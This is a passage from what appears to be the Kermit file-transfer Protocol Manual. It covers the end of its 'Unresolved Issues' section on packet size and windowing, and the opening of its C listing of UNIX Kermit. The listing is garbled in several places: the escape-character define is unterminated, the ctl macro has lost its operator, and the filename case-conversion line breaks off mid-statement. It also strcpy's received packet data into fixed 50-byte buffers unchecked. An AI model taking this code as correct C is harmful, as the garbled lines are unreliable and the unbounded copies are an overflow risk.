  4073.      sent, individually prefixing each character  is  costly.    Shift-in/
  4074.      shift-out  codes  might be used more effectively here.  Same for long
  4075.      strings of characters with the parity bit on, when 8th-bit  prefixing
  4076.      is  being  done.  The cost would be yet another set of prefix charac-
  4077.      ters, and the associated complexity of packet formation and decoding.
  4078.  
  4079.    - In some situations, certain printable characters can't get through  a
  4080.      communication  link.    For instance, a network terminal server might
  4081.      reserve "@" as its attention character.  Should  the  protocol  allow
  4082.      some  way  to encode such characters for translation?  A set of user-
  4083.      definable escape sequences could be useful here.
  4084.  
  4085.    - Ironically, some systems do not fare well with KERMIT's small  packet
  4086.      sizes.  These are typically big mainframes that expect to communicate
  4087.      with  block  mode  terminals,  receiving thousands of characters at a
  4088.      time.  Such systems find that KERMIT is simply too expensive to  run.
  4089.      Meanwhile,  other systems that can run KERMIT with no difficulty find
  4090.      the performance disappointing (the  efficiency  generally  works  out
  4091.      somewhere  between 50 and 80 percent, i.e. data characters divided by
  4092.      the speed of the the transmission line, in  characters  per  second).
  4093. Unresolved Issues                                                       Page 64
  4094.  
  4095.  
  4096.      These  two  problems  could  be  solved  in either of two ways: allow
  4097.      longer packets, or allow multiple data packets to be sent end to end.
  4098.  
  4099.         * Without changing the format or encoding of  the  packet  control
  4100.           fields, it might be possible to have longer packets by reserving
  4101.           packet lengths of 0, 1, 2, 3 to be codes for bigger numbers like
  4102.           200,  500,  1000,  2000.    However,  the longer the packet, the
  4103.           greater  the  probability  of  corruption,  and  the  longer  to
  4104.           retransmit  once  corrupted.    In addition, the adequacy of the
  4105.           single-character block check would  be  much  reduced  for  long
  4106.           packets;  long packets should therefore be sent with type 2 or 3
  4107.           block checks.
  4108.  
  4109.         * It would be possible to extend the protocol to  allow  transmis-
  4110.           sion  of data packets while ACKs were still outstanding, and any
  4111.           ACK would be taken as an ACK for the specified  packet  and  all
  4112.           previous  ones.  A limit on the number of outstanding ACKs could
  4113.           be agreed upon; the maximum size of this "floating window" would
  4114.           have to be less than 64, which is where  KERMIT  packet  numbers
  4115.           wrap  around,  and the window could not extend over a wraparound
  4116.           or else KERMIT would have no way of knowing whether n  times  64
  4117.           packets  had  been skipped.  A floating window of 8 and a packet
  4118.           size of 95 would give about the  same  effect  as  700-character
  4119.           packets.   A NAK would require the sender to back up all the way
  4120.           to the NAK'd packet.  A future edition of  the  Protocol  Manual
  4121.           might include a specification for floating windows.
  4122. A KERMIT Program                                                        Page 65
  4123.  
  4124.  
  4125. IV. A KERMIT Program
  4126.  
  4127. What  follows  is  a listing of a real production version of KERMIT, written in
  4128.               4
  4129. the C language .  It is designed to run under  various  versions  of  the  UNIX
  4130. operating  system.   The basic KERMIT functionality is present, but very little
  4131. in the way of optional features.  Only the most rudimentary  (UNIX-style)  com-
  4132. mand  parser  is  provided.  The program illustrates many of the considerations
  4133. described in this manual, with respect to the protocol, the program design, and
  4134. so forth.
  4135.  
  4136. It must be emphasized that this is a bare  minimum  implementation  of  Kermit.
  4137. Anyone  writing  a  new Kermit from scratch is encouraged to look at the source
  4138. for one of the more advanced implementations as a model (check the Kermit Users
  4139. Guide for a list of KERMIT implementations and their features).   Although  you
  4140. may  not  understand the language it's written in, there should be profuse com-
  4141. ments that can be useful.
  4142.  
  4143. The following program uses decimal notation for numbers,  and  tochar()  rather
  4144. than char() for integer-to-character conversion.
  4145.  
  4146. /*
  4147.  *  K e r m i t  File Transfer Utility
  4148.  *
  4149.  *  UNIX Kermit, Columbia University, 1981, 1982, 1983
  4150.  *      Bill Catchings, Bob Cattani, Chris Maio, Frank da Cruz, Alan Crosswell
  4151.  *
  4152.  *  Also:   Jim Guyton, Rand Corporation
  4153.  *          Walter Underwood, Ford Aerospace
  4154.  *
  4155.  *  usage:  kermit c [lbe line baud escapechar]         to connect
  4156.  *          kermit s [d..iflb line baud] file ...       to send files
  4157.  *          kermit r [d..iflb line baud]                to receive files
  4158.  *
  4159.  *  where   c=connect, s=send, r=receive,
  4160.  *          d=debug, i=image mode, f=no filename conversion, l=tty line,
  4161.  *          b=baud rate, e=escape char.
  4162.  *
  4163.  *  For remote Kermit, format is either:
  4164.  *          kermit r                                    to receive files
  4165.  *  or      kermit s file ...                           to send files
  4166.  *
  4167.  */
  4168.  
  4169.  
  4170.  
  4171.  
  4172.  
  4173.  
  4174.  
  4175.  
  4176.  
  4177. _______________
  4178.  
  4179.   4
  4180.    Kernighan & Ritchie, The C Programming Language:  Prentice-Hall (1978)
  4181. A KERMIT Program                                                        Page 66
  4182.  
  4183.  
  4184.  
  4185. /*
  4186.  *  Modification History:
  4187.  *
  4188.  *  Oct. 17 Included fixes from Alan Crosswell (CUCCA) for IBM_UTS:
  4189.  *          - Changed MYEOL character from \n to \r.
  4190.  *          - Change char to int in bufill so getc would return -1 on
  4191.  *            EOF instead of 255 (-1 truncated to 8 bits)
  4192.  *          - Added read() in rpack to eat the EOL character
  4193.  *          - Added fflush() call in printmsg to force the output
  4194.  *          NOTE: The last three changes are not conditionally compiled
  4195.  *                since they should work equally well on any system.
  4196.  *
  4197.  *          Changed Berkeley 4.x conditional compilation flag from
  4198.  *              UNIX4X to UCB4X.
  4199.  *          Added support for error packets and cleaned up the printing
  4200.  *              routines.
  4201.  */
  4202.  
  4203. #include <stdio.h>          /* Standard UNIX definitions */
  4204.  
  4205. /* Conditional compilation for different machines/operating systems */
  4206. /* One and only one of the following lines should be 1 */
  4207.  
  4208. #define UCB4X       1       /* Berkeley 4.x UNIX */
  4209. #define TOPS_20     0       /* TOPS-20 */
  4210. #define IBM_UTS     0       /* Amdahl UTS on IBM systems */
  4211. #define VAX_VMS     0       /* VAX/VMS (not yet implemented) */
  4212.  
  4213. /* Conditional compilation for the different Unix variants */
  4214. /* 0 means don't compile it, nonzero means do */
  4215.  
  4216. #if UCB4X
  4217. #define V6_LIBS     0       /* Dont't use retrofit libraries */
  4218. #define NO_FIONREAD 0       /* We have ioctl(FIONREAD,...) for flushinput() */
  4219. #define NO_TANDEM   0       /* We have TANDEM line discipline (xon/xoff) */
  4220. #endif
  4221.  
  4222. #if IBM_UTS
  4223. #define V6_LIBS     0       /* Don't use retrofit libraries */
  4224. #define NO_FIONREAD 1       /* No ioctl(FIONREAD,...) for flushinput() */
  4225. #define NO_TANDEM   1       /* No TANDEM line discipline (xon/xoff) */
  4226. #endif
  4227.  
  4228. #if V6_LIBS
  4229. #include <retrofit/sgtty.h>
  4230. #include <retrofit/signal.h>
  4231. #include <retrofit/setjmp.h>
  4232. #else
  4233. #include <sgtty.h>
  4234. #include <signal.h>
  4235. #include <setjmp.h>
  4236. #endif
  4237. A KERMIT Program                                                        Page 67
  4238.  
  4239.  
  4240.  
  4241. #if NO_TANDEM
  4242. #define TANDEM      0       /* define it to be nothing if it's unsupported */
  4243. #endif
  4244.  
  4245.  
  4246. /* Symbol Definitions */
  4247.  
  4248. #define MAXPACKSIZ  94      /* Maximum packet size */
  4249. #define SOH         1       /* Start of header */
  4250. #define CR          13      /* ASCII Carriage Return */
  4251. #define SP          32      /* ASCII space */
  4252. #define DEL         127     /* Delete (rubout) */
  4253. #define ESCCHR      '`     /* Default escape character for CONNECT */
  4254.  
  4255. #define MAXTRY      10      /* Times to retry a packet */
  4256. #define MYQUOTE     '#'     /* Quote character I will use */
  4257. #define MYPAD       0       /* Number of padding characters I will need */
  4258. #define MYPCHAR     0       /* Padding character I need (NULL) */
  4259.  
  4260. #if IBM_UTS
  4261. #define MYEOL       '\r'    /* End-Of-Line character for UTS systems */
  4262. #else
  4263. #define MYEOL       '\n'    /* End-Of-Line character I need */
  4264. #endif
  4265.  
  4266. #define MYTIME      10      /* Seconds after which I should be timed out */
  4267. #define MAXTIM      60      /* Maximum timeout interval */
  4268. #define MINTIM      2       /* Minumum timeout interval */
  4269.  
  4270. #define TRUE        -1      /* Boolean constants */
  4271. #define FALSE       0
  4272.  
  4273.  
  4274. /* Macro Definitions */
  4275.  
  4276. /*
  4277.  * tochar: converts a control character to a printable one by adding a space.
  4278.  *
  4279.  * unchar: undoes tochar.
  4280.  *
  4281.  * ctl:    converts between control characters and printable characters by
  4282.  *         toggling the control bit (ie. ?A becomes A and A becomes ?A).
  4283.  */
  4284. #define tochar(ch)  ((ch) + ' ')
  4285. #define unchar(ch)  ((ch) - ' ')
  4286. #define ctl(ch)     ((ch) ? 64 )
  4287.  
  4288.  
  4289. /* Global Variables */
  4290. A KERMIT Program                                                        Page 68
  4291.  
  4292.  
  4293.  
  4294. int     size,               /* Size of present data */
  4295.         rpsiz,              /* Maximum receive packet size */
  4296.         spsiz,              /* Maximum send packet size */
  4297.         pad,                /* How much padding to send */
  4298.         timint,             /* Timeout for foreign host on sends */
  4299.         n,                  /* Packet number */
  4300.         numtry,             /* Times this packet retried */
  4301.         oldtry,             /* Times previous packet retried */
  4302.         ttyfd,              /* File descriptor of tty for I/O, 0 if remote */
  4303.         remote,             /* -1 means we're a remote kermit */
  4304.         image,              /* -1 means 8-bit mode */
  4305.         debug,              /* indicates level of debugging output (0=none) */
  4306.         filnamcnv,          /* -1 means do file name case conversions */
  4307.         filecount;          /* Number of files left to send */
  4308.  
  4309. char    state,              /* Present state of the automaton */
  4310.         padchar,            /* Padding character to send */
  4311.         eol,                /* End-Of-Line character to send */
  4312.         escchr,             /* Connect command escape character */
  4313.         quote,              /* Quote character in incoming data */
  4314.         **filelist,         /* List of files to be sent */
  4315.         *filnam,            /* Current file name */
  4316.         recpkt[MAXPACKSIZ], /* Receive packet buffer */
  4317.         packet[MAXPACKSIZ]; /* Packet buffer */
  4318.  
  4319. FILE    *fp,                /* File pointer for current disk file */
  4320.         *log;               /* File pointer for Logfile */
  4321.  
  4322. jmp_buf env;                /* Environment ptr for timeout longjump */
  4323.  
  4324.  
  4325. /*
  4326.  *  m a i n
  4327.  *
  4328.  *  Main routine - parse command and options, set up the
  4329.  *  tty lines, and dispatch to the appropriate routine.
  4330.  */
  4331.  
  4332. main(argc,argv)
  4333. int argc;                           /* Character pointers to and count of */
  4334. char **argv;                            /* command line arguments */
  4335. {
  4336.     char *ttyname,                      /* tty name for LINE argument */
  4337.         *cp;                            /* char pointer */
  4338.     int speed,                          /* speed of assigned tty, */
  4339.         cflg, rflg, sflg;               /* flags for CONNECT, RECEIVE, SEND */
  4340.  
  4341.     struct sgttyb
  4342.         rawmode,                        /* Controlling tty raw mode */
  4343.         cookedmode,                     /* Controlling tty cooked mode */
  4344.         ttymode;                        /* mode of tty line in LINE option */
  4345.  
  4346.     if (argc < 2) usage();              /* Make sure there's a command line */
  4347.  
  4348.     cp = *++argv; argv++; argc -= 2;    /* Set up pointers to args */
  4349. A KERMIT Program                                                        Page 69
  4350.  
  4351.  
  4352.  
  4353. /*  Initialize these values and hope the first packet will get across OK */
  4354.  
  4355.     eol = CR;                           /* EOL for outgoing packets */
  4356.     quote = '#';                        /* Standard control-quote char "#" */
  4357.     pad = 0;                            /* No padding */
  4358.     padchar = NULL;                     /* Use null if any padding wanted */
  4359.  
  4360.     speed = cflg = sflg = rflg = 0;     /* Turn off all parse flags */
  4361.     ttyname = 0;                        /* Default is remote mode */
  4362.  
  4363. #if UCB4X                               /* Default to 7-bit masking, CRLF */
  4364.     image = FALSE;                      /* translation and filename case */
  4365.     filnamcnv = TRUE;                   /* conversion for UNIX systems */
  4366. #else
  4367.     image = TRUE;                       /* Default to no processing for */
  4368.     filnamcnv = FALSE;                  /* non-UNIX systems */
  4369. #endif
  4370.  
  4371.     escchr = ESCCHR;                    /* Default escape character */
  4372.  
  4373.     while ((*cp) != NULL)               /* Parse characters in first arg. */
  4374.         switch (*cp++)
  4375.         {
  4376.             case 'c': cflg++; break;    /* C = Connect command */
  4377.             case 's': sflg++; break;    /* S = Send command */
  4378.             case 'r': rflg++; break;    /* R = Receive command */
  4379.  
  4380.             case 'd':                   /* D = Increment debug mode count */
  4381.                 debug++; break;
  4382.  
  4383.             case 'f':
  4384.                 filnamcnv = FALSE;      /* F = don't do case conversion */
  4385.                 break;                  /*     on filenames */
  4386.  
  4387.             case 'i':                   /* I = Image (8-bit) mode */
  4388.                 image = TRUE; break;    /* (this is default for non-UNIX) */
  4389.  
  4390.             case 'l':                   /* L = specify tty line to use */
  4391.                 if (argc--) ttyname = *argv++;
  4392.                 else usage();
  4393.                 if (debug) printf("Line to remote host is %s\n",ttyname);
  4394.                 break;
  4395.  
  4396.             case 'e':                   /* E = specify escape char */
  4397.                 if (argc--) escchr = **argv++;
  4398.                 else usage();
  4399.                 if (debug) printf("Escape char is \"%c\"\n",escchr);
  4400.                 break;
  4401. A KERMIT Program                                                        Page 70
  4402.  
  4403.  
  4404.  
  4405.             case 'b':                   /* B = specify baud rate */
  4406. #if UCB4X
  4407.                 if (argc--) speed = atoi(*argv++);
  4408.                 else usage();
  4409.                 if (debug) printf("Line speed to remote host is %d\n",speed);
  4410.                 break;
  4411. #else
  4412.                 printmsg("Speed setting implemented for Unix only.");
  4413.                 exit(1);
  4414. #endif
  4415.         }
  4416.  
  4417. /* Done parsing */
  4418.  
  4419.     if ((cflg+sflg+rflg) != 1)          /* Only one command allowed */
  4420.         usage();
  4421.  
  4422.  
  4423.     if (ttyname)                        /* If LINE was specified, we */
  4424.     {                                   /* operate in local mode */
  4425.         ttyfd = open(ttyname,2);        /* Open the tty line */
  4426.         if (ttyfd < 0)
  4427.         {
  4428.             printmsg("Cannot open %s",ttyname);
  4429.             exit(1);
  4430.         }
  4431.         remote = FALSE;                 /* Indicate we're in local mode */
  4432.     }
  4433.     else                                /* No LINE specified so we operate */
  4434.     {                                   /* in remote mode (ie. controlling */
  4435.         ttyfd = 0;                      /* tty is the communications line) */
  4436.         remote = TRUE;
  4437.     }
  4438.  
  4439.  
  4440. /* Put the proper tty into the correct mode */
  4441.  
  4442.     if (remote)                         /* If remote, use controlling tty */
  4443.     {
  4444.         gtty(0,&cookedmode);            /* Save current mode so we can */
  4445.         gtty(0,&rawmode);               /* restore it later */
  4446.         rawmode.sg_flags |= (RAW|TANDEM);
  4447.         rawmode.sg_flags &= ~(ECHO|CRMOD);
  4448.         stty(0,&rawmode);               /* Put tty in raw mode */
  4449.     }
  4450.     else                                /* Local, use assigned line */
  4451.     {
  4452.         gtty(ttyfd,&ttymode);
  4453.         ttymode.sg_flags |= (RAW|TANDEM);
  4454.         ttymode.sg_flags &= ~(ECHO|CRMOD);
  4455. A KERMIT Program                                                        Page 71
  4456.  
  4457.  
  4458.  
  4459. #if UCB4X                               /* Speed changing for UNIX only */
  4460.         if (speed)                      /* User specified a speed? */
  4461.         {
  4462.             switch(speed)               /* Get internal system code */
  4463.             {
  4464.                 case 110: speed = B110; break;
  4465.                 case 150: speed = B150; break;
  4466.                 case 300: speed = B300; break;
  4467.                 case 1200: speed = B1200; break;
  4468.                 case 2400: speed = B2400; break;
  4469.                 case 4800: speed = B4800; break;
  4470.                 case 9600: speed = B9600; break;
  4471.  
  4472.                 default:
  4473.                     printmsg("Bad line speed.");
  4474.                     exit(1);
  4475.             }
  4476.             ttymode.sg_ispeed = speed;
  4477.             ttymode.sg_ospeed = speed;
  4478.         }
  4479. #endif /* UCB4X */
  4480.  
  4481.         stty(ttyfd,&ttymode);           /* Put asg'd tty in raw mode */
  4482.     }
  4483.  
  4484.  
  4485. /* All set up, now execute the command that was given. */
  4486.  
  4487.     if (debug)
  4488.     {
  4489.         printf("Debugging level = %d\n\n",debug);
  4490.  
  4491.         if (cflg) printf("Connect command\n\n");
  4492.         if (sflg) printf("Send command\n\n");
  4493.         if (rflg) printf("Receive command\n\n");
  4494.     }
  4495.  
  4496.     if (cflg) connect();                /* Connect command */
  4497.  
  4498.     if (sflg)                           /* Send command */
  4499.     {
  4500.         if (argc--) filnam = *argv++;   /* Get file to send */
  4501.         else
  4502.         {   if (remote)
  4503.                 stty(0,&cookedmode);    /* Restore controlling tty's modes */
  4504.             usage();                    /* and give error */
  4505.         }
  4506.         fp = NULL;                      /* Indicate no file open yet */
  4507.         filelist = argv;                /* Set up the rest of the file list */
  4508.         filecount = argc;               /* Number of files left to send */
  4509.         if (sendsw() == FALSE)          /* Send the file(s) */
  4510.             printmsg("Send failed.");   /* Report failure */
  4511.         else                            /*  or */
  4512.             printmsg("done.");          /* success */
  4513.     }
  4514. A KERMIT Program                                                        Page 72
  4515.  
  4516.  
  4517.  
  4518.     if (rflg)                           /* Receive command */
  4519.     {
  4520.         if (recsw() == FALSE)           /* Receive the file(s) */
  4521.             printmsg("Receive failed.");
  4522.         else                            /* Report failure */
  4523.             printmsg("done.");          /* or success */
  4524.     }
  4525.  
  4526.     if (remote) stty(0,&cookedmode);    /* Restore controlling tty's modes */
  4527. }
  4528.  
  4529.  
  4530. /*
  4531.  *  s e n d s w
  4532.  *
  4533.  *  Sendsw is the state table switcher for sending files.  It loops until
  4534.  *  either it finishes, or an error is encountered.  The routines called
  4535.  *  by sendsw are responsible for changing the state.
  4536.  *
  4537.  */
  4538.  
  4539. sendsw()
  4540. {
  4541.     char sinit(), sfile(), sdata(), seof(), sbreak();
  4542.  
  4543.     state = 'S';                        /* Send initiate is the start state */
  4544.     n = 0;                              /* Initialize message number */
  4545.     numtry = 0;                         /* Say no tries yet */
  4546.     while(TRUE)                         /* Do this as long as necessary */
  4547.     {
  4548.         if (debug) printf("sendsw state: %c\n",state);
  4549.         switch(state)
  4550.         {
  4551.             case 'S':   state = sinit();  break; /* Send-Init */
  4552.             case 'F':   state = sfile();  break; /* Send-File */
  4553.             case 'D':   state = sdata();  break; /* Send-Data */
  4554.             case 'Z':   state = seof();   break; /* Send-End-of-File */
  4555.             case 'B':   state = sbreak(); break; /* Send-Break */
  4556.             case 'C':   return (TRUE);           /* Complete */
  4557.             case 'A':   return (FALSE);          /* "Abort" */
  4558.             default:    return (FALSE);          /* Unknown, fail */
  4559.         }
  4560.     }
  4561. }
  4562.  
  4563.  
  4564. /*
  4565.  *  s i n i t
  4566.  *
  4567.  *  Send Initiate: send this host's parameters and get other side's back.
  4568.  */
  4569.  
  4570. char sinit()
  4571. {
  4572.     int num, len;                       /* Packet number, length */
  4573. A KERMIT Program                                                        Page 73
  4574.  
  4575.  
  4576.  
  4577.     if (numtry++ > MAXTRY) return('A'); /* If too many tries, give up */
  4578.     spar(packet);                       /* Fill up init info packet */
  4579.     flushinput();                       /* Flush pending input */
  4580.  
  4581.     spack('S',n,6,packet);              /* Send an S packet */
  4582.     switch(rpack(&len,&num,recpkt))     /* What was the reply? */
  4583.     {
  4584.         case 'N':  return(state);       /* NAK, try it again */
  4585.  
  4586.         case 'Y':                       /* ACK */
  4587.             if (n != num)               /* If wrong ACK, stay in S state */
  4588.                 return(state);          /* and try again */
  4589.             rpar(recpkt);               /* Get other side's init info */
  4590.  
  4591.             if (eol == 0) eol = '\n';   /* Check and set defaults */
  4592.             if (quote == 0) quote = '#';
  4593.  
  4594.             numtry = 0;                 /* Reset try counter */
  4595.             n = (n+1)%64;               /* Bump packet count */
  4596.             return('F');                /* OK, switch state to F */
  4597.  
  4598.         case 'E':                       /* Error packet received */
  4599.             prerrpkt(recpkt);           /* Print it out and */
  4600.             return('A');                /* abort */
  4601.  
  4602.         case FALSE: return(state);      /* Receive failure, try again */
  4603.  
  4604.         default: return('A');           /* Anything else, just "abort" */
  4605.    }
  4606.  }
  4607.  
  4608.  
  4609. /*
  4610.  *  s f i l e
  4611.  *
  4612.  *  Send File Header.
  4613.  */
  4614.  
  4615. char sfile()
  4616. {
  4617.     int num, len;                       /* Packet number, length */
  4618.     char filnam1[50],                   /* Converted file name */
  4619.         *newfilnam,                     /* Pointer to file name to send */
  4620.         *cp;                            /* char pointer */
  4621.  
  4622.     if (numtry++ > MAXTRY) return('A'); /* If too many tries, give up */
  4623. A KERMIT Program                                                        Page 74
  4624.  
  4625.  
  4626.  
  4627.     if (fp == NULL)                     /* If not already open, */
  4628.     {   if (debug) printf("   Opening %s for sending.\n",filnam);
  4629.         fp = fopen(filnam,"r");         /* open the file to be sent */
  4630.         if (fp == NULL)                 /* If bad file pointer, give up */
  4631.         {
  4632.             error("Cannot open file %s",filnam);
  4633.             return('A');
  4634.         }
  4635.     }
  4636.  
  4637.     strcpy(filnam1, filnam);            /* Copy file name */
  4638.     newfilnam = cp = filnam1;
  4639.     while (*cp != '\0')                 /* Strip off all leading directory */
  4640.         if (*cp++ == '/')               /* names (ie. up to the last /). */
  4641.             newfilnam = cp;
  4642.  
  4643.     if (filnamcnv)                      /* Convert lower case to upper  */
  4644.         for (cp = newfilnam; *cp != '\0'; cp++)
  4645.             if (*cp >= 'a' && *cp <= 'z')
  4646.                 *cp 
  4647.  
  4648.     len = cp - newfilnam;               /* Compute length of new filename */
  4649.  
  4650.     printmsg("Sending %s as %s",filnam,newfilnam);
  4651.  
  4652.     spack('F',n,len,newfilnam);         /* Send an F packet */
  4653.     switch(rpack(&len,&num,recpkt))     /* What was the reply? */
  4654.     {
  4655.         case 'N':                       /* NAK, just stay in this state, */
  4656.             num = (--num<0 ? 63:num);   /* unless it's NAK for next packet */
  4657.             if (n != num)               /* which is just like an ACK for */
  4658.                 return(state);          /* this packet so fall thru to... */
  4659.  
  4660.         case 'Y':                       /* ACK */
  4661.             if (n != num) return(state); /* If wrong ACK, stay in F state */
  4662.             numtry = 0;                 /* Reset try counter */
  4663.             n = (n+1)%64;               /* Bump packet count */
  4664.             size = bufill(packet);      /* Get first data from file */
  4665.             return('D');                /* Switch state to D */
  4666.  
  4667.         case 'E':                       /* Error packet received */
  4668.             prerrpkt(recpkt);           /* Print it out and */
  4669.             return('A');                /* abort */
  4670.  
  4671.         case FALSE: return(state);      /* Receive failure, stay in F state */
  4672.  
  4673.         default:    return('A');        /* Something else, just "abort" */
  4674.     }
  4675. }
  4676. A KERMIT Program                                                        Page 75
  4677.  
  4678.  
  4679.  
  4680. /*
  4681.  *  s d a t a
  4682.  *
  4683.  *  Send File Data
  4684.  */
  4685.  
  4686. char sdata()
  4687. {
  4688.     int num, len;                       /* Packet number, length */
  4689.  
  4690.     if (numtry++ > MAXTRY) return('A'); /* If too many tries, give up */
  4691.  
  4692.     spack('D',n,size,packet);           /* Send a D packet */
  4693.     switch(rpack(&len,&num,recpkt))     /* What was the reply? */
  4694.     {
  4695.         case 'N':                       /* NAK, just stay in this state, */
  4696.             num = (--num<0 ? 63:num);   /* unless it's NAK for next packet */
  4697.             if (n != num)               /* which is just like an ACK for */
  4698.                 return(state);          /* this packet so fall thru to... */
  4699.  
  4700.         case 'Y':                       /* ACK */
  4701.             if (n != num) return(state); /* If wrong ACK, fail */
  4702.             numtry = 0;                 /* Reset try counter */
  4703.             n = (n+1)%64;               /* Bump packet count */
  4704.             if ((size = bufill(packet)) == EOF) /* Get data from file */
  4705.                 return('Z');            /* If EOF set state to that */
  4706.             return('D');                /* Got data, stay in state D */
  4707.  
  4708.         case 'E':                       /* Error packet received */
  4709.             prerrpkt(recpkt);           /* Print it out and */
  4710.             return('A');                /* abort */
  4711.  
  4712.         case FALSE: return(state);      /* Receive failure, stay in D */
  4713.  
  4714.         default:    return('A');        /* Anything else, "abort" */
  4715.     }
  4716. }
  4717.  
  4718.  
  4719. /*
  4720.  *  s e o f
  4721.  *
  4722.  *  Send End-Of-File.
  4723.  */
  4724.  
  4725. char seof()
  4726. {
  4727.     int num, len;                       /* Packet number, length */
  4728.     if (numtry++ > MAXTRY) return('A'); /* If too many tries, "abort" */
  4729. A KERMIT Program                                                        Page 76
  4730.  
  4731.  
  4732.  
  4733.     spack('Z',n,0,packet);              /* Send a 'Z' packet */
  4734.     switch(rpack(&len,&num,recpkt))     /* What was the reply? */
  4735.     {
  4736.         case 'N':                       /* NAK, just stay in this state, */
  4737.             num = (--num<0 ? 63:num);   /* unless it's NAK for next packet, */
  4738.             if (n != num)               /* which is just like an ACK for */
  4739.                 return(state);          /* this packet so fall thru to... */
  4740.  
  4741.         case 'Y':                       /* ACK */
  4742.             if (n != num) return(state); /* If wrong ACK, hold out */
  4743.             numtry = 0;                 /* Reset try counter */
  4744.             n = (n+1)%64;               /* and bump packet count */
  4745.             if (debug) printf("   Closing input file %s, ",filnam);
  4746.             fclose(fp);                 /* Close the input file */
  4747.             fp = NULL;                  /* Set flag indicating no file open */
  4748.  
  4749.             if (debug) printf("looking for next file...\n");
  4750.             if (gnxtfl() == FALSE)      /* No more files go? */
  4751.                 return('B');            /* if not, break, EOT, all done */
  4752.             if (debug) printf("   New file is %s\n",filnam);
  4753.             return('F');                /* More files, switch state to F */
  4754.  
  4755.         case 'E':                       /* Error packet received */
  4756.             prerrpkt(recpkt);           /* Print it out and */
  4757.             return('A');                /* abort */
  4758.  
  4759.         case FALSE: return(state);      /* Receive failure, stay in Z */
  4760.  
  4761.         default:    return('A');        /* Something else, "abort" */
  4762.     }
  4763. }
  4764.  
  4765.  
  4766. /*
  4767.  *  s b r e a k
  4768.  *
  4769.  *  Send Break (EOT)
  4770.  */
  4771.  
  4772. char sbreak()
  4773. {
  4774.     int num, len;                       /* Packet number, length */
  4775.     if (numtry++ > MAXTRY) return('A'); /* If too many tries "abort" */
  4776.  
  4777.     spack('B',n,0,packet);              /* Send a B packet */
  4778.     switch (rpack(&len,&num,recpkt))    /* What was the reply? */
  4779.     {
  4780.         case 'N':                       /* NAK, just stay in this state, */
  4781.             num = (--num<0 ? 63:num);   /* unless NAK for previous packet, */
  4782.             if (n != num)               /* which is just like an ACK for */
  4783.                 return(state);          /* this packet so fall thru to... */
  4784. A KERMIT Program                                                        Page 77
  4785.  
  4786.  
  4787.  
  4788.         case 'Y':                       /* ACK */
  4789.             if (n != num) return(state); /* If wrong ACK, fail */
  4790.             numtry = 0;                 /* Reset try counter */
  4791.             n = (n+1)%64;               /* and bump packet count */
  4792.             return('C');                /* Switch state to Complete */
  4793.  
  4794.         case 'E':                       /* Error packet received */
  4795.             prerrpkt(recpkt);           /* Print it out and */
  4796.             return('A');                /* abort */
  4797.  
  4798.         case FALSE: return(state);      /* Receive failure, stay in B */
  4799.  
  4800.         default:    return ('A');       /* Other, "abort" */
  4801.    }
  4802. }
  4803.  
  4804.  
  4805. /*
  4806.  *  r e c s w
  4807.  *
  4808.  *  This is the state table switcher for receiving files.
  4809.  */
  4810.  
  4811. recsw()
  4812. {
  4813.     char rinit(), rfile(), rdata();     /* Use these procedures */
  4814.  
  4815.     state = 'R';                        /* Receive-Init is the start state */
  4816.     n = 0;                              /* Initialize message number */
  4817.     numtry = 0;                         /* Say no tries yet */
  4818.  
  4819.     while(TRUE)
  4820.     {
  4821.         if (debug) printf(" recsw state: %c\n",state);
  4822.         switch(state)                   /* Do until done */
  4823.         {
  4824.             case 'R':   state = rinit(); break; /* Receive-Init */
  4825.             case 'F':   state = rfile(); break; /* Receive-File */
  4826.             case 'D':   state = rdata(); break; /* Receive-Data */
  4827.             case 'C':   return(TRUE);           /* Complete state */
  4828.             case 'A':   return(FALSE);          /* "Abort" state */
  4829.         }
  4830.     }
  4831. }
  4832.  
  4833.  
  4834. /*
  4835.  *  r i n i t
  4836.  *
  4837.  *  Receive Initialization
  4838.  */
  4839.  
  4840. char rinit()
  4841. {
  4842.     int len, num;                       /* Packet length, number */
  4843. A KERMIT Program                                                        Page 78
  4844.  
  4845.  
  4846.  
  4847.     if (numtry++ > MAXTRY) return('A'); /* If too many tries, "abort" */
  4848.  
  4849.     switch(rpack(&len,&num,packet))     /* Get a packet */
  4850.     {
  4851.         case 'S':                       /* Send-Init */
  4852.             rpar(packet);               /* Get the other side's init data */
  4853.             spar(packet);               /* Fill up packet with my init info */
  4854.             spack('Y',n,6,packet);      /* ACK with my parameters */
  4855.             oldtry = numtry;            /* Save old try count */
  4856.             numtry = 0;                 /* Start a new counter */
  4857.             n = (n+1)%64;               /* Bump packet number, mod 64 */
  4858.             return('F');                /* Enter File-Receive state */
  4859.  
  4860.         case 'E':                       /* Error packet received */
  4861.             prerrpkt(recpkt);           /* Print it out and */
  4862.             return('A');                /* abort */
  4863.  
  4864.         case FALSE:                     /* Didn't get packet */
  4865.             spack('N',n,0,0);           /* Return a NAK */
  4866.             return(state);              /* Keep trying */
  4867.  
  4868.         default:     return('A');       /* Some other packet type, "abort" */
  4869.     }
  4870. }
  4871.  
  4872.  
  4873. /*
  4874.  *  r f i l e
  4875.  *
  4876.  *  Receive File Header
  4877.  */
  4878.  
  4879. char rfile()
  4880. {
  4881.     int num, len;                       /* Packet number, length */
  4882.     char filnam1[50];                   /* Holds the converted file name */
  4883.  
  4884.     if (numtry++ > MAXTRY) return('A'); /* "abort" if too many tries */
  4885.  
  4886.     switch(rpack(&len,&num,packet))     /* Get a packet */
  4887.     {
  4888.         case 'S':                       /* Send-Init, maybe our ACK lost */
  4889.             if (oldtry++ > MAXTRY) return('A'); /* If too many tries "abort" */
  4890.             if (num == ((n==0) ? 63:n-1)) /* Previous packet, mod 64? */
  4891.             {                           /* Yes, ACK it again with  */
  4892.                 spar(packet);           /* our Send-Init parameters */
  4893.                 spack('Y',num,6,packet);
  4894.                 numtry = 0;             /* Reset try counter */
  4895.                 return(state);          /* Stay in this state */
  4896.             }
  4897.             else return('A');           /* Not previous packet, "abort" */
  4898. A KERMIT Program                                                        Page 79
  4899.  
  4900.  
  4901.  
  4902.         case 'Z':                       /* End-Of-File */
  4903.             if (oldtry++ > MAXTRY) return('A');
  4904.             if (num == ((n==0) ? 63:n-1)) /* Previous packet, mod 64? */
  4905.             {                           /* Yes, ACK it again. */
  4906.                 spack('Y',num,0,0);
  4907.                 numtry = 0;
  4908.                 return(state);          /* Stay in this state */
  4909.             }
  4910.             else return('A');           /* Not previous packet, "abort" */
  4911.  
  4912.         case 'F':                       /* File Header (just what we want) */
  4913.             if (num != n) return('A');  /* The packet number must be right */
  4914.             strcpy(filnam1, packet);    /* Copy the file name */
  4915.  
